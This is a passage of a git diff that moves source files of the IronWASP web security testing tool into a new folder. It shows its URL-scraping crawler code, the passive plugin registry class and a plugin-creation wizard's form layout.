Pointer++; + break; + } + else if (_Source[Pointer] == '\'') + { + State = SingleQuoteState; + Pointer++; + break; + } + else if (_Source[Pointer] == ' ' || _Source[Pointer] == '\t') + { + //ignore + } + else + { + State = QuoteLessCommandState; + Pointer++; + break; + } + Pointer++; + } + break; + default: + if (Pointer + _WaitCmd.Length + 4 < _Source.Length) + { + bool MatchFound = true; + for (int i = 0; i < _WaitCmd.Length; i++) + { + if (_Source[Pointer + i] != _WaitCmd[i]) + { + MatchFound = false; + break; + } + } + if (MatchFound) + { + State = CommandArgumentState; + Pointer += _WaitCmd.Length; + continue; + } + } + Pointer++; + break; + } + } + return MaxWaitTime; + } + + public static void ScrapeUrls(Request Req, Response Res) + { + List LocalScrapedUrls = new List(); + if (Res.IsHtml) + { + foreach (string Comment in Res.Html.Comments) + { + LocalScrapedUrls.AddRange(ScrapeUrls(Req, Comment)); + } + foreach (string Script in Res.Html.GetJavaScript()) + { + LocalScrapedUrls.AddRange(ScrapeUrls(Req, Script)); + } + } + else if (Res.IsJson) + { + FormatParameters JsonParams = FormatPlugin.GetJsonParameters(Res); + for (int i = 0; i < JsonParams.Count; i++) + { + LocalScrapedUrls.AddRange(ScrapeUrls(Req, JsonParams.GetValue(i))); + } + } + else if (Res.IsJavaScript) + { + LocalScrapedUrls.AddRange(ScrapeUrls(Req, Res.BodyString)); + } + if (Res.IsRedirect) + { + try + { + HTML ResHtml = new HTML(Res.BodyString); + foreach (string Link in ResHtml.Links) + { + string FullUrl = Req.RelativeUrlToAbsoluteUrl(Link); + if (!FullUrl.Equals(Req.FullUrl)) + { + if (!LocalScrapedUrls.Contains(FullUrl)) LocalScrapedUrls.Add(FullUrl); + } + } + } + catch { } + } + lock (ScrapedUrls) + { + ScrapedUrls.AddRange(LocalScrapedUrls); + } + } + + public static List ScrapeUrls(Request Req, string Text) + { + List Urls = new List(); + + foreach (string UrlStartMarker in UrlsStartMarkers) + { + int Pointer = 0; + while (Pointer < Text.Length) + { + string Quote = ""; + string UrlValue = ""; + + int UrlStartIndex = Text.IndexOf(UrlStartMarker, Pointer); + if (UrlStartIndex > -1) + { + Quote = GetStartQuote(Text, UrlStartIndex); + UrlValue = ReadTillEndOfUrl(Quote, Text, UrlStartIndex); + try + { + string FullUrl = Req.RelativeUrlToAbsoluteUrl(UrlValue); + if (!Tools.HasInvalidUrlCharacters(FullUrl) && !FullUrl.Equals(Req.FullUrl)) + { + Request TestReq = new Request(FullUrl); + if (!Urls.Contains(FullUrl)) Urls.Add(FullUrl); + Pointer = UrlStartIndex + UrlValue.Length; + continue; + } + } + catch + {} + } + else + { + break; + } + Pointer = Pointer + UrlStartMarker.Length; + } + } + + foreach (string FileExt in UrlExtensionsToScrape) + { + int Pointer = 0; + while (Pointer < Text.Length) + { + int ExtensionStartIndex = Text.IndexOf(FileExt, Pointer); + if (ExtensionStartIndex > -1) + { + string UrlStartPart = ReadTillStartOfUrl(Text, ExtensionStartIndex -1); + string Quote = GetStartQuote(Text, ExtensionStartIndex - UrlStartPart.Length); + string UrlEndPart = ReadTillEndOfUrl(Quote, Text, ExtensionStartIndex); + string Url = string.Concat(UrlStartPart, UrlEndPart); + try + { + string FullUrl = Req.RelativeUrlToAbsoluteUrl(Url); + if (!Tools.HasInvalidUrlCharacters(FullUrl) && !FullUrl.Equals(Req.FullUrl)) + { + Request TempReq = new Request(FullUrl); + if(!Urls.Contains(FullUrl)) Urls.Add(FullUrl); + Pointer = ExtensionStartIndex + UrlEndPart.Length; + continue; + } + } + catch { } + } + else + { + break; + } + Pointer = Pointer + FileExt.Length; + } + } + return Urls; + } + + static string ReadTillStartOfUrl(string Text, int Index) + { + List Chars = new List(); + int Pointer = Index; + while(Pointer > -1) + { + if (Text[Pointer] == '\'' || Text[Pointer] == '"' || Text[Pointer] == ' ') + { + Chars.Reverse(); + return new String(Chars.ToArray()); + } + else + { + Chars.Add(Text[Pointer]); + } + Pointer--; + } + return ""; + } + + static string GetStartQuote(string Text, int Index) + { + if (Index > 0) + { + if (Text[Index - 1] == '\'' || Text[Index - 1] == '"') return Text[Index - 1].ToString(); + } + return ""; + } + + static string ReadTillEndOfUrl(string Quote, string Text, int Index) + { + StringBuilder SB = new StringBuilder(); + + int Pointer = Index; + while (Pointer < Text.Length) + { + if ((Quote.Length > 0 && Text[Pointer].ToString() == Quote) || Text[Pointer] == ' ' || Text[Pointer] == '\n' || Text[Pointer] == '\r' || Text[Pointer] == '\t') + { + return SB.ToString(); + } + else + { + SB.Append(Text[Pointer]); + } + + Pointer++; + } + return ""; + } + + internal static void SetCrawlerUserAgent(string Ua) + { + CrawlerUserAgent = Ua; + } + + internal static bool AreAnyRequestsWaitingForResponses() + { + return RequestsWaitingForResponse.Count > 0; + } + + internal static List GetListOfScrapedUrls() + { + List UrlsToReturn = new List(); + lock (ScrapedUrls) + { + UrlsToReturn.AddRange(ScrapedUrls); + ScrapedUrls.Clear(); + } + return UrlsToReturn; + } + + internal static void NewPageLoad() + { + PageWaitTime = "0"; + lock (RequestsWaitingForResponse) + { + RequestsWaitingForResponse.Clear(); + } + } + + internal static string GetPageWaitTime() + { + return PageWaitTime; + } + } +} diff --git a/IronWASP/PassivePlugin.cs b/Iron/PassivePlugin.cs similarity index 96% rename from IronWASP/PassivePlugin.cs rename to Iron/PassivePlugin.cs index e3e4174..3eaa49a 100644 --- a/IronWASP/PassivePlugin.cs +++ b/Iron/PassivePlugin.cs @@ -1,145 +1,145 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -using System; -using System.Collections.Generic; -using System.Text; - -namespace IronWASP -{ - public class PassivePlugin : Plugin - { - public PluginCallingState CallingState = PluginCallingState.Offline; - public PluginWorksOn WorksOn = PluginWorksOn.Both; - internal static List Collection = new List(); - internal static List DeactivatedPlugins = new List(); - - public virtual void Check(Session IrSe, Findings Results, bool ReportDuplicates) - { - - } - - public virtual PassivePlugin GetInstance() - { - return new PassivePlugin(); - } - - public static void Add(PassivePlugin PP) - { - if ((PP.Name.Length > 0) && !(PP.Name.Equals("All") || PP.Name.Equals("None"))) - { - if (!List().Contains(PP.Name)) - { - PP.FileName = PluginEngine.FileName; - Collection.Add(PP); - } - } - } - - public static List List() - { - List Names = new List(); - foreach (PassivePlugin PP in Collection) - { - if(!DeactivatedPlugins.Contains(PP.Name)) Names.Add(PP.Name); - } - return Names; - } - - public static List GetInLinePluginsForRequest() - { - List Names = new List(); - foreach (PassivePlugin PP in Collection) - { - if (!DeactivatedPlugins.Contains(PP.Name)) - { - if (PP.WorksOn == PluginWorksOn.Request || PP.WorksOn == PluginWorksOn.Both) - Names.Add(PP.Name); - } - } - return Names; - } - - public static List GetInLinePluginsForResponse() - { - List Names = new List(); - foreach (PassivePlugin PP in Collection) - { - if (!DeactivatedPlugins.Contains(PP.Name)) - { - if (PP.WorksOn == PluginWorksOn.Response || PP.WorksOn == PluginWorksOn.Both) - Names.Add(PP.Name); - } - } - return Names; - } - - public static PassivePlugin Get(string Name) - { - foreach (PassivePlugin PP in Collection) - { - if (PP.Name.Equals(Name)) - { - PassivePlugin NewInstance = PP.GetInstance(); - if (PP.FileName != "Internal") - { - NewInstance.FileName = PP.FileName; - } - return NewInstance; - } - } - return null; - } - - internal static void Remove(string Name) - { - int PluginIndex = 0; - for (int i=0;i GetDeactivated() - { - List Deactivated = new List(); - Deactivated.AddRange(DeactivatedPlugins); - return Deactivated; - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.Collections.Generic; +using System.Text; + +namespace IronWASP +{ + public class PassivePlugin : Plugin + { + public PluginCallingState CallingState = PluginCallingState.Offline; + public PluginWorksOn WorksOn = PluginWorksOn.Both; + internal static List Collection = new List(); + internal static List DeactivatedPlugins = new List(); + + public virtual void Check(Session IrSe, Findings Results, bool ReportDuplicates) + { + + } + + public virtual PassivePlugin GetInstance() + { + return new PassivePlugin(); + } + + public static void Add(PassivePlugin PP) + { + if ((PP.Name.Length > 0) && !(PP.Name.Equals("All") || PP.Name.Equals("None"))) + { + if (!List().Contains(PP.Name)) + { + PP.FileName = PluginEngine.FileName; + Collection.Add(PP); + } + } + } + + public static List List() + { + List Names = new List(); + foreach (PassivePlugin PP in Collection) + { + if(!DeactivatedPlugins.Contains(PP.Name)) Names.Add(PP.Name); + } + return Names; + } + + public static List GetInLinePluginsForRequest() + { + List Names = new List(); + foreach (PassivePlugin PP in Collection) + { + if (!DeactivatedPlugins.Contains(PP.Name)) + { + if (PP.WorksOn == PluginWorksOn.Request || PP.WorksOn == PluginWorksOn.Both) + Names.Add(PP.Name); + } + } + return Names; + } + + public static List GetInLinePluginsForResponse() + { + List Names = new List(); + foreach (PassivePlugin PP in Collection) + { + if (!DeactivatedPlugins.Contains(PP.Name)) + { + if (PP.WorksOn == PluginWorksOn.Response || PP.WorksOn == PluginWorksOn.Both) + Names.Add(PP.Name); + } + } + return Names; + } + + public static PassivePlugin Get(string Name) + { + foreach (PassivePlugin PP in Collection) + { + if (PP.Name.Equals(Name)) + { + PassivePlugin NewInstance = PP.GetInstance(); + if (PP.FileName != "Internal") + { + NewInstance.FileName = PP.FileName; + } + return NewInstance; + } + } + return null; + } + + internal static void Remove(string Name) + { + int PluginIndex = 0; + for (int i=0;i GetDeactivated() + { + List Deactivated = new List(); + Deactivated.AddRange(DeactivatedPlugins); + return Deactivated; + } + } +} diff --git a/IronWASP/PassivePluginCreationAssistant.Designer.cs b/Iron/PassivePluginCreationAssistant.Designer.cs similarity index 95% rename from IronWASP/PassivePluginCreationAssistant.Designer.cs rename to Iron/PassivePluginCreationAssistant.Designer.cs index 44f5d9a..4e7a3c8 100644 --- a/IronWASP/PassivePluginCreationAssistant.Designer.cs +++ b/Iron/PassivePluginCreationAssistant.Designer.cs @@ -1,593 +1,593 @@ -// -// Copyright 2011-2013 Lavakumar Kuppan -// -// This file is part of IronWASP -// -// IronWASP is free software: you can redistribute it and/or modify -// it under the terms of the GNU General Public License as published by -// the Free Software Foundation, version 3 of the License. -// -// IronWASP is distributed in the hope that it will be useful, -// but WITHOUT ANY WARRANTY; without even the implied warranty of -// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -// GNU General Public License for more details. -// -// You should have received a copy of the GNU General Public License -// along with IronWASP. If not, see http://www.gnu.org/licenses/. -// - -namespace IronWASP -{ - partial class PassivePluginCreationAssistant - { - /// - /// Required designer variable. - /// - private System.ComponentModel.IContainer components = null; - - /// - /// Clean up any resources being used. - /// - /// true if managed resources should be disposed; otherwise, false. - protected override void Dispose(bool disposing) - { - if (disposing && (components != null)) - { - components.Dispose(); - } - base.Dispose(disposing); - } - - #region Windows Form Designer generated code - - /// - /// Required method for Designer support - do not modify - /// the contents of this method with the code editor. - /// - private void InitializeComponent() - { - System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(PassivePluginCreationAssistant)); - this.BaseTabs = new System.Windows.Forms.TabControl(); - this.NameTab = new System.Windows.Forms.TabPage(); - this.label2 = new System.Windows.Forms.Label(); - this.PluginDescTB = new System.Windows.Forms.TextBox(); - this.label1 = new System.Windows.Forms.Label(); - this.PluginNameTB = new System.Windows.Forms.TextBox(); - this.Step0StatusTB = new System.Windows.Forms.TextBox(); - this.CancelBtn = new System.Windows.Forms.Button(); - this.textBox2 = new System.Windows.Forms.TextBox(); - this.StepOneNextBtn = new System.Windows.Forms.Button(); - this.PluginTypeTab = new System.Windows.Forms.TabPage(); - this.groupBox1 = new System.Windows.Forms.GroupBox(); - this.PluginWorksOnGB = new System.Windows.Forms.GroupBox(); - this.WorksOnBothRB = new System.Windows.Forms.RadioButton(); - this.WorksOnResponseRB = new System.Windows.Forms.RadioButton(); - this.WorksOnRequestRB = new System.Windows.Forms.RadioButton(); - this.label6 = new System.Windows.Forms.Label(); - this.ModeInlineRB = new System.Windows.Forms.RadioButton(); - this.ModeOfflineRB = new System.Windows.Forms.RadioButton(); - this.Step1StatusTB = new System.Windows.Forms.TextBox(); - this.textBox4 = new System.Windows.Forms.TextBox(); - this.StepTwoPreviousBtn = new System.Windows.Forms.Button(); - this.StepTwoNextBtn = new System.Windows.Forms.Button(); - this.LanguageTab = new System.Windows.Forms.TabPage(); - this.groupBox2 = new System.Windows.Forms.GroupBox(); - this.PluginLangRubyRB = new System.Windows.Forms.RadioButton(); - this.PluginLangPythonRB = new System.Windows.Forms.RadioButton(); - this.Step2StatusTB = new System.Windows.Forms.TextBox(); - this.textBox5 = new System.Windows.Forms.TextBox(); - this.StepThreePreviousBtn = new System.Windows.Forms.Button(); - this.StepThreeNextBtn = new System.Windows.Forms.Button(); - this.FinalTab = new System.Windows.Forms.TabPage(); - this.PluginFileTB = new System.Windows.Forms.TextBox(); - this.label3 = new System.Windows.Forms.Label(); - this.textBox1 = new System.Windows.Forms.TextBox(); - this.FinalBtn = new System.Windows.Forms.Button(); - this.BaseTabs.SuspendLayout(); - this.NameTab.SuspendLayout(); - this.PluginTypeTab.SuspendLayout(); - this.groupBox1.SuspendLayout(); - this.PluginWorksOnGB.SuspendLayout(); - this.LanguageTab.SuspendLayout(); - this.groupBox2.SuspendLayout(); - this.FinalTab.SuspendLayout(); - this.SuspendLayout(); - // - // BaseTabs - // - this.BaseTabs.Appearance = System.Windows.Forms.TabAppearance.Buttons; - this.BaseTabs.Controls.Add(this.NameTab); - this.BaseTabs.Controls.Add(this.PluginTypeTab); - this.BaseTabs.Controls.Add(this.LanguageTab); - this.BaseTabs.Controls.Add(this.FinalTab); - this.BaseTabs.Dock = System.Windows.Forms.DockStyle.Fill; - this.BaseTabs.Location = new System.Drawing.Point(0, 0); - this.BaseTabs.Margin = new System.Windows.Forms.Padding(0); - this.BaseTabs.Name = "BaseTabs"; - this.BaseTabs.Padding = new System.Drawing.Point(0, 0); - this.BaseTabs.SelectedIndex = 0; - this.BaseTabs.Size = new System.Drawing.Size(684, 462); - this.BaseTabs.TabIndex = 17; - this.BaseTabs.Selecting += new System.Windows.Forms.TabControlCancelEventHandler(this.BaseTabs_Selecting); - // - // NameTab - // - this.NameTab.Controls.Add(this.label2); - this.NameTab.Controls.Add(this.PluginDescTB); - this.NameTab.Controls.Add(this.label1); - this.NameTab.Controls.Add(this.PluginNameTB); - this.NameTab.Controls.Add(this.Step0StatusTB); - this.NameTab.Controls.Add(this.CancelBtn); - this.NameTab.Controls.Add(this.textBox2); - this.NameTab.Controls.Add(this.StepOneNextBtn); - this.NameTab.Location = new System.Drawing.Point(4, 25); - this.NameTab.Margin = new System.Windows.Forms.Padding(0); - this.NameTab.Name = "NameTab"; - this.NameTab.Padding = new System.Windows.Forms.Padding(5); - this.NameTab.Size = new System.Drawing.Size(676, 433); - this.NameTab.TabIndex = 0; - this.NameTab.Text = " Plugin Name "; - this.NameTab.UseVisualStyleBackColor = true; - // - // label2 - // - this.label2.AutoSize = true; - this.label2.Location = new System.Drawing.Point(11, 145); - this.label2.Name = "label2"; - this.label2.Size = new System.Drawing.Size(95, 13); - this.label2.TabIndex = 10; - this.label2.Text = "Plugin Description:"; - // - // PluginDescTB - // - this.PluginDescTB.Location = new System.Drawing.Point(110, 142); - this.PluginDescTB.Name = "PluginDescTB"; - this.PluginDescTB.Size = new System.Drawing.Size(556, 20); - this.PluginDescTB.TabIndex = 9; - this.PluginDescTB.TextChanged += new System.EventHandler(this.PluginDescTB_TextChanged); - // - // label1 - // - this.label1.AutoSize = true; - this.label1.Location = new System.Drawing.Point(32, 98); - this.label1.Name = "label1"; - this.label1.Size = new System.Drawing.Size(70, 13); - this.label1.TabIndex = 8; - this.label1.Text = "Plugin Name:"; - // - // PluginNameTB - // - this.PluginNameTB.Location = new System.Drawing.Point(110, 95); - this.PluginNameTB.Name = "PluginNameTB"; - this.PluginNameTB.Size = new System.Drawing.Size(556, 20); - this.PluginNameTB.TabIndex = 7; - this.PluginNameTB.TextChanged += new System.EventHandler(this.PluginNameTB_TextChanged); - // - // Step0StatusTB - // - this.Step0StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.Step0StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.Step0StatusTB.Location = new System.Drawing.Point(130, 374); - this.Step0StatusTB.Multiline = true; - this.Step0StatusTB.Name = "Step0StatusTB"; - this.Step0StatusTB.Size = new System.Drawing.Size(409, 51); - this.Step0StatusTB.TabIndex = 6; - this.Step0StatusTB.TabStop = false; - this.Step0StatusTB.Visible = false; - // - // CancelBtn - // - this.CancelBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.CancelBtn.Location = new System.Drawing.Point(8, 402); - this.CancelBtn.Name = "CancelBtn"; - this.CancelBtn.Size = new System.Drawing.Size(105, 23); - this.CancelBtn.TabIndex = 4; - this.CancelBtn.Text = "Cancel"; - this.CancelBtn.UseVisualStyleBackColor = true; - this.CancelBtn.Click += new System.EventHandler(this.CancelBtn_Click); - // - // textBox2 - // - this.textBox2.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox2.Dock = System.Windows.Forms.DockStyle.Top; - this.textBox2.Location = new System.Drawing.Point(5, 5); - this.textBox2.Multiline = true; - this.textBox2.Name = "textBox2"; - this.textBox2.ReadOnly = true; - this.textBox2.Size = new System.Drawing.Size(666, 61); - this.textBox2.TabIndex = 3; - this.textBox2.TabStop = false; - this.textBox2.Text = resources.GetString("textBox2.Text"); - // - // StepOneNextBtn - // - this.StepOneNextBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.StepOneNextBtn.Location = new System.Drawing.Point(561, 402); - this.StepOneNextBtn.Name = "StepOneNextBtn"; - this.StepOneNextBtn.Size = new System.Drawing.Size(105, 23); - this.StepOneNextBtn.TabIndex = 2; - this.StepOneNextBtn.Text = "Next Step ->"; - this.StepOneNextBtn.UseVisualStyleBackColor = true; - this.StepOneNextBtn.Click += new System.EventHandler(this.StepOneNextBtn_Click); - // - // PluginTypeTab - // - this.PluginTypeTab.Controls.Add(this.groupBox1); - this.PluginTypeTab.Controls.Add(this.Step1StatusTB); - this.PluginTypeTab.Controls.Add(this.textBox4); - this.PluginTypeTab.Controls.Add(this.StepTwoPreviousBtn); - this.PluginTypeTab.Controls.Add(this.StepTwoNextBtn); - this.PluginTypeTab.Location = new System.Drawing.Point(4, 25); - this.PluginTypeTab.Margin = new System.Windows.Forms.Padding(0); - this.PluginTypeTab.Name = "PluginTypeTab"; - this.PluginTypeTab.Padding = new System.Windows.Forms.Padding(5); - this.PluginTypeTab.Size = new System.Drawing.Size(676, 433); - this.PluginTypeTab.TabIndex = 1; - this.PluginTypeTab.Text = " Plugin Type "; - this.PluginTypeTab.UseVisualStyleBackColor = true; - // - // groupBox1 - // - this.groupBox1.Controls.Add(this.PluginWorksOnGB); - this.groupBox1.Controls.Add(this.label6); - this.groupBox1.Controls.Add(this.ModeInlineRB); - this.groupBox1.Controls.Add(this.ModeOfflineRB); - this.groupBox1.Location = new System.Drawing.Point(8, 55); - this.groupBox1.Name = "groupBox1"; - this.groupBox1.Size = new System.Drawing.Size(660, 331); - this.groupBox1.TabIndex = 27; - this.groupBox1.TabStop = false; - this.groupBox1.Text = "Select the Plugin running mode:"; - // - // PluginWorksOnGB - // - this.PluginWorksOnGB.Controls.Add(this.WorksOnBothRB); - this.PluginWorksOnGB.Controls.Add(this.WorksOnResponseRB); - this.PluginWorksOnGB.Controls.Add(this.WorksOnRequestRB); - this.PluginWorksOnGB.Location = new System.Drawing.Point(8, 105); - this.PluginWorksOnGB.Name = "PluginWorksOnGB"; - this.PluginWorksOnGB.Size = new System.Drawing.Size(646, 105); - this.PluginWorksOnGB.TabIndex = 28; - this.PluginWorksOnGB.TabStop = false; - this.PluginWorksOnGB.Text = "Select the Plugin\'s Focus area:"; - this.PluginWorksOnGB.Visible = false; - // - // WorksOnBothRB - // - this.WorksOnBothRB.AutoSize = true; - this.WorksOnBothRB.Checked = true; - this.WorksOnBothRB.Location = new System.Drawing.Point(22, 74); - this.WorksOnBothRB.Name = "WorksOnBothRB"; - this.WorksOnBothRB.Size = new System.Drawing.Size(47, 17); - this.WorksOnBothRB.TabIndex = 26; - this.WorksOnBothRB.TabStop = true; - this.WorksOnBothRB.Text = "Both"; - this.WorksOnBothRB.UseVisualStyleBackColor = true; - // - // WorksOnResponseRB - // - this.WorksOnResponseRB.AutoSize = true; - this.WorksOnResponseRB.Location = new System.Drawing.Point(22, 51); - this.WorksOnResponseRB.Name = "WorksOnResponseRB"; - this.WorksOnResponseRB.Size = new System.Drawing.Size(267, 17); - this.WorksOnResponseRB.TabIndex = 25; - this.WorksOnResponseRB.Text = "Response. The Plugin is called only on Responses."; - this.WorksOnResponseRB.UseVisualStyleBackColor = true; - // - // WorksOnRequestRB - // - this.WorksOnRequestRB.AutoSize = true; - this.WorksOnRequestRB.Location = new System.Drawing.Point(22, 28); - this.WorksOnRequestRB.Name = "WorksOnRequestRB"; - this.WorksOnRequestRB.Size = new System.Drawing.Size(251, 17); - this.WorksOnRequestRB.TabIndex = 24; - this.WorksOnRequestRB.Text = "Request. The Plugin is called only on Requests."; - this.WorksOnRequestRB.UseVisualStyleBackColor = true; - // - // label6 - // - this.label6.AutoSize = true; - this.label6.Location = new System.Drawing.Point(71, 71); - this.label6.Name = "label6"; - this.label6.Size = new System.Drawing.Size(303, 13); - this.label6.TabIndex = 26; - this.label6.Text = "Select this mode only if your plugin is going to modify the traffic."; - // - // ModeInlineRB - // - this.ModeInlineRB.AutoSize = true; - this.ModeInlineRB.Location = new System.Drawing.Point(22, 51); - this.ModeInlineRB.Name = "ModeInlineRB"; - this.ModeInlineRB.Size = new System.Drawing.Size(473, 17); - this.ModeInlineRB.TabIndex = 25; - this.ModeInlineRB.Text = "Inline .These plugins run inline on the traffic and can make changes to the Reque" + - "st/Response."; - this.ModeInlineRB.UseVisualStyleBackColor = true; - this.ModeInlineRB.CheckedChanged += new System.EventHandler(this.ModeInlineRB_CheckedChanged); - // - // ModeOfflineRB - // - this.ModeOfflineRB.AutoSize = true; - this.ModeOfflineRB.Checked = true; - this.ModeOfflineRB.Location = new System.Drawing.Point(22, 28); - this.ModeOfflineRB.Name = "ModeOfflineRB"; - this.ModeOfflineRB.Size = new System.Drawing.Size(570, 17); - this.ModeOfflineRB.TabIndex = 24; - this.ModeOfflineRB.TabStop = true; - this.ModeOfflineRB.Text = "Offline. Offline plugins run in the background and are more efficient. But they c" + - "annot modify the Request/Response."; - this.ModeOfflineRB.UseVisualStyleBackColor = true; - // - // Step1StatusTB - // - this.Step1StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.Step1StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.Step1StatusTB.Location = new System.Drawing.Point(119, 402); - this.Step1StatusTB.Multiline = true; - this.Step1StatusTB.Name = "Step1StatusTB"; - this.Step1StatusTB.Size = new System.Drawing.Size(438, 23); - this.Step1StatusTB.TabIndex = 11; - this.Step1StatusTB.TabStop = false; - this.Step1StatusTB.Visible = false; - // - // textBox4 - // - this.textBox4.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox4.Dock = System.Windows.Forms.DockStyle.Top; - this.textBox4.Location = new System.Drawing.Point(5, 5); - this.textBox4.Multiline = true; - this.textBox4.Name = "textBox4"; - this.textBox4.ReadOnly = true; - this.textBox4.Size = new System.Drawing.Size(666, 41); - this.textBox4.TabIndex = 9; - this.textBox4.TabStop = false; - this.textBox4.Text = "\r\nPassive Plugins can be of different types. In this sections you can define the " + - "type of Passive Plugin you want to create.\r\n\r\n"; - // - // StepTwoPreviousBtn - // - this.StepTwoPreviousBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.StepTwoPreviousBtn.Location = new System.Drawing.Point(8, 402); - this.StepTwoPreviousBtn.Name = "StepTwoPreviousBtn"; - this.StepTwoPreviousBtn.Size = new System.Drawing.Size(105, 23); - this.StepTwoPreviousBtn.TabIndex = 8; - this.StepTwoPreviousBtn.Text = "<-Previous Step"; - this.StepTwoPreviousBtn.UseVisualStyleBackColor = true; - this.StepTwoPreviousBtn.Click += new System.EventHandler(this.StepTwoPreviousBtn_Click); - // - // StepTwoNextBtn - // - this.StepTwoNextBtn.Anchor = ((System.Windows.Forms.AnchorStyles)((System.Windows.Forms.AnchorStyles.Bottom | System.Windows.Forms.AnchorStyles.Right))); - this.StepTwoNextBtn.Location = new System.Drawing.Point(563, 402); - this.StepTwoNextBtn.Name = "StepTwoNextBtn"; - this.StepTwoNextBtn.Size = new System.Drawing.Size(105, 23); - this.StepTwoNextBtn.TabIndex = 7; - this.StepTwoNextBtn.Text = "Next Step ->"; - this.StepTwoNextBtn.UseVisualStyleBackColor = true; - this.StepTwoNextBtn.Click += new System.EventHandler(this.StepTwoNextBtn_Click); - // - // LanguageTab - // - this.LanguageTab.Controls.Add(this.groupBox2); - this.LanguageTab.Controls.Add(this.Step2StatusTB); - this.LanguageTab.Controls.Add(this.textBox5); - this.LanguageTab.Controls.Add(this.StepThreePreviousBtn); - this.LanguageTab.Controls.Add(this.StepThreeNextBtn); - this.LanguageTab.Location = new System.Drawing.Point(4, 25); - this.LanguageTab.Name = "LanguageTab"; - this.LanguageTab.Padding = new System.Windows.Forms.Padding(5); - this.LanguageTab.Size = new System.Drawing.Size(676, 433); - this.LanguageTab.TabIndex = 2; - this.LanguageTab.Text = " Select Language "; - this.LanguageTab.UseVisualStyleBackColor = true; - // - // groupBox2 - // - this.groupBox2.Controls.Add(this.PluginLangRubyRB); - this.groupBox2.Controls.Add(this.PluginLangPythonRB); - this.groupBox2.Location = new System.Drawing.Point(7, 114); - this.groupBox2.Name = "groupBox2"; - this.groupBox2.Size = new System.Drawing.Size(660, 110); - this.groupBox2.TabIndex = 20; - this.groupBox2.TabStop = false; - this.groupBox2.Text = "Which language should the plugin be created in?"; - // - // PluginLangRubyRB - // - this.PluginLangRubyRB.AutoSize = true; - this.PluginLangRubyRB.Location = new System.Drawing.Point(12, 79); - this.PluginLangRubyRB.Name = "PluginLangRubyRB"; - this.PluginLangRubyRB.Size = new System.Drawing.Size(50, 17); - this.PluginLangRubyRB.TabIndex = 15; - this.PluginLangRubyRB.Text = "Ruby"; - this.PluginLangRubyRB.UseVisualStyleBackColor = true; - // - // PluginLangPythonRB - // - this.PluginLangPythonRB.AutoSize = true; - this.PluginLangPythonRB.Checked = true; - this.PluginLangPythonRB.Location = new System.Drawing.Point(12, 29); - this.PluginLangPythonRB.Name = "PluginLangPythonRB"; - this.PluginLangPythonRB.Size = new System.Drawing.Size(58, 17); - this.PluginLangPythonRB.TabIndex = 14; - this.PluginLangPythonRB.TabStop = true; - this.PluginLangPythonRB.Text = "Python"; - this.PluginLangPythonRB.UseVisualStyleBackColor = true; - // - // Step2StatusTB - // - this.Step2StatusTB.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom) - | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.Step2StatusTB.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.Step2StatusTB.Location = new System.Drawing.Point(132, 385); - this.Step2StatusTB.Multiline = true; - this.Step2StatusTB.Name = "Step2StatusTB"; - this.Step2StatusTB.Size = new System.Drawing.Size(410, 40); - this.Step2StatusTB.TabIndex = 13; - this.Step2StatusTB.TabStop = false; - this.Step2StatusTB.Visible = false; - // - // textBox5 - // - this.textBox5.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left) - | System.Windows.Forms.AnchorStyles.Right))); - this.textBox5.BorderStyle = System.Windows.Forms.BorderStyle.None; - this.textBox5.Location = new System.Drawing.Point(5, 5); - this.textBox5.Multiline = true; - this.textBox5.Name = "textBox5"; - this.textBox5.ReadOnly = true; - this.textBox5.Size = new System.Drawing.Size(666, 77); - this.textBox5.TabIndex = 11; - this.textBox5.TabStop = false; - this.textBox5.Text = "\r\nActive Plugins can be written in Python or in Ruby. Choose you language of choi" + - "ce and this Active Plugin will be created in that language."; - // - // StepThreePreviousBtn - // - this.StepThreePreviousBtn.Anchor = 